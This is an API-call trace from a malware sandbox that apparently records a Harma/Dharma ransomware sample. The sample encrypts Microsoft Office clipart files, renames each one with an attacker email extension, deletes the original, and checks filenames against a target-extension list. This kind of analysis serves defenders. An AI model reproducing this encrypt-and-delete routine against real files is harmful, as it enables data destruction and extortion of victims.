CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00636_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0157.582] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0157.582] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0157.582] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00636_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0157.582] GetLastError () returned 0x0 [0157.582] ReadFile (in: hFile=0x374, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x620, lpOverlapped=0x0) returned 1 [0157.751] WriteFile (in: hFile=0x340, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0x630, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x630, lpOverlapped=0x0) returned 1 [0157.752] ReadFile (in: hFile=0x374, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0157.752] WriteFile (in: hFile=0x340, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0157.753] SetEndOfFile (hFile=0x340) returned 1 [0157.753] CloseHandle (hObject=0x340) returned 1 [0157.753] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0157.753] SetEndOfFile (hFile=0x374) returned 1 [0157.755] CloseHandle (hObject=0x374) returned 1 [0157.755] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0157.756] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00636_.wmf")) returned 1 [0157.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 63 [0157.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 63 [0157.757] lstrlenW (lpString=".doc") returned 4 [0157.757] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.757] lstrlenW (lpString=".docx") returned 5 [0157.757] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0157.757] lstrlenW (lpString=".pdf") returned 4 [0157.757] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.757] lstrlenW (lpString=".xls") returned 4 [0157.757] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.757] lstrlenW (lpString=".xlsx") returned 5 [0157.757] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0157.757] lstrlenW (lpString=".ppt") returned 4 [0157.757] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 63 [0157.757] lstrlenW (lpString=".zip") returned 4 [0157.757] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.757] lstrlenW (lpString=".rar") returned 4 [0157.757] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.757] lstrlenW (lpString=".bz2") returned 4 [0157.757] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.757] lstrlenW (lpString=".7z") returned 3 [0157.757] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 63 [0157.758] lstrlenW (lpString=".dbf") returned 4 [0157.758] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 63 [0157.758] lstrlenW (lpString=".1cd") returned 4 [0157.758] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 63 [0157.758] lstrlenW (lpString=".jpg") returned 4 [0157.758] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 63 [0157.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 63 [0157.758] lstrlenW (lpString=".doc") returned 4 [0157.758] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.758] lstrlenW (lpString=".docx") returned 5 [0157.758] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0157.758] lstrlenW (lpString=".pdf") returned 4 [0157.758] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.758] lstrlenW (lpString=".xls") returned 4 [0157.758] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.758] lstrlenW (lpString=".xlsx") returned 5 [0157.758] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0157.758] lstrlenW (lpString=".ppt") returned 4 [0157.758] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 63 [0157.758] lstrlenW (lpString=".zip") returned 4 [0157.758] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.758] lstrlenW (lpString=".rar") returned 4 [0157.758] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.758] lstrlenW (lpString=".bz2") returned 4 [0157.758] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.758] lstrlenW (lpString=".7z") returned 3 [0157.759] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 63 [0157.759] lstrlenW (lpString=".dbf") returned 4 [0157.759] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 63 [0157.759] lstrlenW (lpString=".1cd") returned 4 [0157.759] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 63 [0157.759] lstrlenW (lpString=".jpg") returned 4 [0157.759] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.759] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0157.759] lstrlenW (lpString="HH00681_.WMF") returned 12 [0157.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00681_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0157.760] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=9300) returned 1 [0157.760] CloseHandle (hObject=0x374) returned 1 [0157.760] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00681_.wmf")) returned 0x20 [0157.760] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00681_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0157.760] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00681_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0157.760] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0157.760] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0157.760] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00681_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0157.761] GetLastError () returned 0x0 [0157.761] ReadFile (in: hFile=0x374, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x2454, lpOverlapped=0x0) returned 1 [0157.849] WriteFile (in: hFile=0x340, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0x2460, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x2460, lpOverlapped=0x0) returned 1 [0157.850] ReadFile (in: hFile=0x374, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0157.850] WriteFile (in: hFile=0x340, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0157.850] SetEndOfFile (hFile=0x340) returned 1 [0157.850] CloseHandle (hObject=0x340) returned 1 [0157.850] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0157.850] SetEndOfFile (hFile=0x374) returned 1 [0157.857] CloseHandle (hObject=0x374) returned 1 [0157.857] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0157.857] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00681_.wmf")) returned 1 [0157.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 63 [0157.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 63 [0157.858] lstrlenW (lpString=".doc") returned 4 [0157.858] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.858] lstrlenW (lpString=".docx") returned 5 [0157.858] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0157.858] lstrlenW (lpString=".pdf") returned 4 [0157.858] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.858] lstrlenW (lpString=".xls") returned 4 [0157.858] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.858] lstrlenW (lpString=".xlsx") returned 5 [0157.858] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0157.858] lstrlenW (lpString=".ppt") returned 4 [0157.858] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 63 [0157.858] lstrlenW (lpString=".zip") returned 4 [0157.858] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.858] lstrlenW (lpString=".rar") returned 4 [0157.858] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.858] lstrlenW (lpString=".bz2") returned 4 [0157.858] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.858] lstrlenW (lpString=".7z") returned 3 [0157.858] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 63 [0157.858] lstrlenW (lpString=".dbf") returned 4 [0157.858] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 63 [0157.858] lstrlenW (lpString=".1cd") returned 4 [0157.858] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 63 [0157.858] lstrlenW (lpString=".jpg") returned 4 [0157.859] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 63 [0157.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 63 [0157.859] lstrlenW (lpString=".doc") returned 4 [0157.859] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.859] lstrlenW (lpString=".docx") returned 5 [0157.859] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0157.859] lstrlenW (lpString=".pdf") returned 4 [0157.859] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.859] lstrlenW (lpString=".xls") returned 4 [0157.859] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.859] lstrlenW (lpString=".xlsx") returned 5 [0157.859] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0157.859] lstrlenW (lpString=".ppt") returned 4 [0157.859] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 63 [0157.859] lstrlenW (lpString=".zip") returned 4 [0157.859] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.859] lstrlenW (lpString=".rar") returned 4 [0157.859] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.859] lstrlenW (lpString=".bz2") returned 4 [0157.859] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.859] lstrlenW (lpString=".7z") returned 3 [0157.859] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 63 [0157.859] lstrlenW (lpString=".dbf") returned 4 [0157.859] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 63 [0157.859] lstrlenW (lpString=".1cd") returned 4 [0157.859] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 63 [0157.860] lstrlenW (lpString=".jpg") returned 4 [0157.860] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.860] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0157.860] lstrlenW (lpString="HH00687_.WMF") returned 12 [0157.860] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00687_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0157.860] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=4340) returned 1 [0157.860] CloseHandle (hObject=0x374) returned 1 [0157.860] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00687_.wmf")) returned 0x20 [0157.860] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00687_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0157.861] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00687_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0157.861] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0157.861] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0157.861] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00687_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0157.939] GetLastError () returned 0x0 [0157.939] ReadFile (in: hFile=0x374, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x10f4, lpOverlapped=0x0) returned 1 [0157.949] WriteFile (in: hFile=0x360, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0x1100, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x1100, lpOverlapped=0x0) returned 1 [0157.950] ReadFile (in: hFile=0x374, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0157.950] WriteFile (in: hFile=0x360, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0157.950] SetEndOfFile (hFile=0x360) returned 1 [0157.950] CloseHandle (hObject=0x360) returned 1 [0157.950] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0157.950] SetEndOfFile (hFile=0x374) returned 1 [0157.953] CloseHandle (hObject=0x374) returned 1 [0157.953] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0158.026] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00687_.wmf")) returned 1 [0158.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 63 [0158.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 63 [0158.046] lstrlenW (lpString=".doc") returned 4 [0158.047] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.047] lstrlenW (lpString=".docx") returned 5 [0158.047] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0158.047] lstrlenW (lpString=".pdf") returned 4 [0158.047] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.047] lstrlenW (lpString=".xls") returned 4 [0158.047] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.047] lstrlenW (lpString=".xlsx") returned 5 [0158.047] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0158.047] lstrlenW (lpString=".ppt") returned 4 [0158.047] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 63 [0158.047] lstrlenW (lpString=".zip") returned 4 [0158.047] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.047] lstrlenW (lpString=".rar") returned 4 [0158.047] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.047] lstrlenW (lpString=".bz2") returned 4 [0158.047] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.047] lstrlenW (lpString=".7z") returned 3 [0158.047] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 63 [0158.047] lstrlenW (lpString=".dbf") returned 4 [0158.047] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 63 [0158.047] lstrlenW (lpString=".1cd") returned 4 [0158.047] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 63 [0158.047] lstrlenW (lpString=".jpg") returned 4 [0158.047] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 63 [0158.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 63 [0158.048] lstrlenW (lpString=".doc") returned 4 [0158.048] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.048] lstrlenW (lpString=".docx") returned 5 [0158.048] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0158.048] lstrlenW (lpString=".pdf") returned 4 [0158.048] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.048] lstrlenW (lpString=".xls") returned 4 [0158.048] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.048] lstrlenW (lpString=".xlsx") returned 5 [0158.048] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0158.048] lstrlenW (lpString=".ppt") returned 4 [0158.048] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 63 [0158.048] lstrlenW (lpString=".zip") returned 4 [0158.048] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.048] lstrlenW (lpString=".rar") returned 4 [0158.048] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.048] lstrlenW (lpString=".bz2") returned 4 [0158.048] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.048] lstrlenW (lpString=".7z") returned 3 [0158.048] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 63 [0158.048] lstrlenW (lpString=".dbf") returned 4 [0158.048] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 63 [0158.048] lstrlenW (lpString=".1cd") returned 4 [0158.048] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 63 [0158.048] lstrlenW (lpString=".jpg") returned 4 [0158.048] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.049] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0158.049] lstrlenW (lpString="HH01080_.WMF") returned 12 [0158.049] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01080_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0158.049] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=5000) returned 1 [0158.049] CloseHandle (hObject=0x348) returned 1 [0158.049] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01080_.wmf")) returned 0x20 [0158.049] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01080_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0158.050] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01080_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0158.050] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.050] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.050] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 